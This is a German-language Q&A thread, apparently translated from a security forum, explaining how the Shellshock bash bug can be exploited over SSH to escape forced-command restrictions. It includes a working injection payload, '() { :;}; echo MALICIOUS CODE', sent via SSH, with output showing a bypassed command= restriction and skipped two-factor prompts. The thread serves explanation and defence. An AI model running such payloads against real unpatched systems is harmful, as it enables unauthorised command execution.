it-swarm.com.de

Wie kann Shellshock über SSH ausgenutzt werden?

Anscheinend kann der Shellshock Bash-Exploit CVE-2014-6271 über SSH über das Netzwerk ausgenutzt werden. Ich kann mir vorstellen, wie der Exploit über Apache/CGI funktionieren würde, aber ich kann mir nicht vorstellen, wie das über SSH funktionieren würde.

Kann jemand bitte ein Beispiel geben, wie SSH ausgenutzt wird und welcher Schaden dem System zugefügt werden könnte?

KLÄRUNG

AFAIU, nur ein authentifizierter Benutzer kann diese Sicherheitsanfälligkeit über SSH ausnutzen. Was nützt dieser Exploit für jemanden, der sowieso legitimen Zugriff auf das System hat? Ich meine, dieser Exploit hat keine Eskalation von Privilegien (er kann nicht root werden), also kann er nicht mehr tun, als er hätte tun können, nachdem er sich einfach legitim über SSH angemeldet hat.

68
Martin Vegter

Ein Beispiel, bei dem dies ausgenutzt werden kann, sind Server mit einem erzwungenen Befehl authorized_keys. Wenn Sie ~/.ssh/authorized_keys Einen Eintrag hinzufügen, können Sie der Zeile command="foo" Vorstellen, um zu erzwingen, dass foo jedes Mal ausgeführt wird, wenn der öffentliche Schlüssel ssh verwendet wird. Wenn bei diesem Exploit die Shell des Zielbenutzers auf bash gesetzt ist, kann er den Exploit nutzen, um andere Dinge als den Befehl auszuführen, zu dem er gezwungen ist.

Dies wäre im Beispiel wahrscheinlich sinnvoller. Hier ist ein Beispiel:

Sudo useradd -d /testuser -s /bin/bash testuser
Sudo mkdir -p /testuser/.ssh
Sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
Sudo chown -R testuser /testuser

Hier richten wir einen Benutzer testuser ein, der alle SSH-Verbindungen mit Ihrem SSH-Schlüssel zum Ausführen von echo starting sleep; sleep 1 Erzwingt.

Wir können dies testen mit:

$ ssh [email protected] echo something else
starting sleep

Beachten Sie, dass unser echo something else Nicht ausgeführt wird, aber der starting sleep Zeigt an, dass der erzwungene Befehl ausgeführt wurde.

Lassen Sie uns nun zeigen, wie dieser Exploit verwendet werden kann:

$ ssh [email protected] '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Dies funktioniert, weil sshd die Umgebungsvariable SSH_ORIGINAL_COMMAND Auf den übergebenen Befehl setzt. Obwohl sshdsleep ausgeführt wurde und nicht der Befehl, den ich aufgrund des Exploits angewiesen habe, wird mein Code dennoch ausgeführt.

79
Patrick

Erweiterung des Beispiels von Ramesh: Wenn Sie die Zwei-Faktor-Authentifizierung verwenden, können Sie den zweiten Faktor mithilfe dieses Exploits umgehen, je nachdem, wie er implementiert ist.

- Normaler Login -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- Ausführen von Code ohne 2FA -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

Sie werden feststellen, dass der Code ohne Aufforderung zur Eingabe von 2FA ausgeführt wurde.

- Nach dem Patchen von Bash -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
26
Eric Rumer

Shellshock ist eine Sicherheitslücke bei Bash, nicht bei SSH. Um es auszunutzen, muss ein Angreifer das anfällige System veranlassen, Bash auszuführen, und den Wert einer Umgebungsvariablen steuern, die an Bash übergeben wird.

Um einen Bash-Prozess über SSH zu erreichen, muss der Angreifer die Authentifizierungsschritte bestehen. (Es kann Angriffsvektoren über andere Netzwerkdienste geben, die jedoch den Rahmen dieses Threads sprengen.) Wenn das Konto ohnehin beliebige Shell-Befehle ausführen darf, erfolgt kein Angriff. Die Sicherheitsanfälligkeit tritt ins Spiel, wenn das Konto nur bestimmte Befehle ausführen darf: z. B. ein Nur-SFTP-Konto oder ein Nur-Git-Konto usw.

Es gibt verschiedene Möglichkeiten, ein Konto auf die Ausführung eines bestimmten Befehls mit SSH zu beschränken: mit der Option ForceCommand in sshd_config oder mit einem command=. Einschränkung in der authorized_keys Datei. Wenn die Shell des Benutzers bash ist, ermöglicht die Shellshock-Sicherheitsanfälligkeit einem Benutzer, der normalerweise nur auf das eingeschränkte Konto zugreifen kann, die Einschränkung zu umgehen und beliebige Befehle auszuführen.